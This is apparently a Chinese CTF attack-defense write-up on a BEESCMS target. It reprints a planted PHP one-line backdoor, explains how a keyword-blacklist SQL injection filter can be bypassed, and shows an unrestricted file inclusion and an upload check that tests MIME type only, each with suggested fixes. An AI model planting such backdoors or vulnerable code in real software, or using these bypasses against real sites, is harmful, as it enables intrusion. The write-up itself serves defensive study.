0x00 环境搭建
参考:
team1:ctf:9a0b71fdda36c36506645794a4927e45
team2:ctf:4c79b2c32f29aec11a0545d440f5204b
0x01 漏洞&修复
后门漏洞证明
1、先登录ssh,然后现在自己服务器里面的文件,在通过D盾来扫描,查看是不是有什么后门,尽快排除后门:
从D盾上查看到2个地方可能存在后门,然后找到对应的文件,查看代码,发现 /includes/config.php中是一个后门:
<?php
echo 'hello world';
extract($_REQUEST);
@$d($_POST[c]);
?>
验证一下后门:
或者通过蚁剑的方式来测试,但是没有测试成功:
后门漏洞修复:
1、可以吧这个后门文件删掉
2、后门参数设置的更加复杂
登录注入证明
查看源代码,发现admin目录有login.php,尝试登录后台,通过sqlmap,发现确实存在注入漏洞:
在证实存在sql注入之后,下一步就是继续注入,得到数据中其他用户的后台登录密码,然后登录后台
后台注入修复:
既然存在注入漏洞,也要考虑如何修复这个漏洞,打开源代码,找到后台登录的文件,从 admin/login.php 代码中找到判断登录的代码:
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
elseif($action=='out'){
login_out();
}
?>
从代码中可以看到这里是通过fl_value来过滤注入,找到这个函数的定义,从代码的定义中可以看到,只是对一些关键字加了黑名单,一般简单的双写就可以绕过这个函数。
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
修复的方法:
1、使用php自定义的POD来使用sql语句,但是这种在比赛的时候都是不现实的。
2、完备黑名单,自己在比赛的之前准备一份黑名单,比赛如果发现有类似的情况直接写入,修复sql注入。
3、还有就是不使用这个函数,不在提供登录登录功能,直接返回“用户名或密码不存在”,那也无法利用这个漏洞。
修改之后访问效果如下:
文件上传漏洞证明
使用admin:admin登录后台:
然后代码中发现一个文件包含漏洞,并没有限制:
if(!file_exists("../data/install.lock")||!file_exists("../data/confing.php")){header("location:../install/index.php");exit();}
define('IN_CMS','true');
include('init.php');
if($_GET['file']){include($_GET['file']);}
$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();
$query_string = $_SERVER['QUERY_STRING'];
$file_path=DATA_PATH.'cache_cate/cate_list_'.$lang.'.php';
if(file_exists($file_path)){include($file_path);}
$session_admin=$_SESSION['admin'.$admin_tm];
$sql="select*from ".DB_PRE."admin where admin_name='{$session_admin}'";
$rel=$mysql->fetch_asc($sql);
//载入后台导航
include('nav_confing/main_nav.php');//主导航
include('nav_confing/admin_left_nav.php');//次级导航
include(DATA_PATH.$lang.'_info.php');
if(file_exists(TP_PATH.$_confing['web_template'].'/tpl_confing.php')){include(TP_PATH.$_confing['web_template'].'/tpl_confing.php');}
利用效果:
文件上传漏洞修复
1、可以增加过滤函数,对包含的文件做限制;
2、可以对脚本文件权限做限制;
3、在比赛的时候可以直接注释改函数;
if(!file_exists("../data/install.lock")||!file_exists("../data/confing.php")){header("location:../install/index.php");exit();}
define('IN_CMS','true');
include('init.php');
/*if($_GET['file']){include($_GET['file']);}*/
$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();
$query_string = $_SERVER['QUERY_STRING'];
$file_path=DATA_PATH.'cache_cate/cate_list_'.$lang.'.php';
if(file_exists($file_path)){include($file_path);}
$session_admin=$_SESSION['admin'.$admin_tm];
$sql="select*from ".DB_PRE."admin where admin_name='{$session_admin}'";
$rel=$mysql->fetch_asc($sql);
//载入后台导航
include('nav_confing/main_nav.php');//主导航
include('nav_confing/admin_left_nav.php');//次级导航
include(DATA_PATH.$lang.'_info.php');
if(file_exists(TP_PATH.$_confing['web_template'].'/tpl_confing.php')){include(TP_PATH.$_confing['web_template'].'/tpl_confing.php');}
执行效果:
后台文件上传getshell
漏洞位置:admin/upload.php
登录后台找到登录的位置,上传shell:
连接shell:
后台文件上传getshell漏洞修复
从upload的文件上传的代码中发现,后台使用了up_img这个函数来对图片做检查:
if(is_uploaded_file($_FILES['up']['tmp_name'])){
//is_uploaded_file 判断文件是否是通过post方法传上来的
//文件被上传后在服务端储存的临时文件名
if($up_type=='pic'){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
//intval 获取变量的整数值,这里应该是在获取上传文件的长和宽
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
//文件的大小
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
echo $str;
exit;
}//图片上传
但是查看这个函数,发现这个函数没有对文件的扩展名做检查,因此在绕过前端校验之后,在将类型修改一下就可以绕过。
function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
if(is_uploaded_file($file['tmp_name'])){
if($file['size']>$size){
msg('图片超过'.$size.'大小');
}
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg('上传图片格式不正确');
}
$path_name="upload/img/";
$path=CMS_PATH.$path_name;
if(!file_exists($path)){
@mkdir($path);
}
$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
if(file_exists($file_name)){
msg('已经存在该图片,请更改图片名称!');//判断是否重名
}
$return_name['up_pic_size']=$file['size'];//上传图片大小
$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
$return_name['up_pic_name']=$up_file_name;//上传图片名
$return_name['up_pic_path']=$path_name;//上传图片路径
$return_name['up_pic_time']=time();//上传时间
unset($pic_name);
修复方法:
1、在后台增加校验扩展名的功能;
临时修复:
1、直接禁用该函数,禁止上传图片;
在/admin/admin_template.php?action=save_template同样存在文件编辑导致的getshell,漏洞出处于上个漏洞一致。
0x02 知识点&对抗思路
1、如何写php后门?
2、了解什么是php文件包含,以及文件包含的一些手法?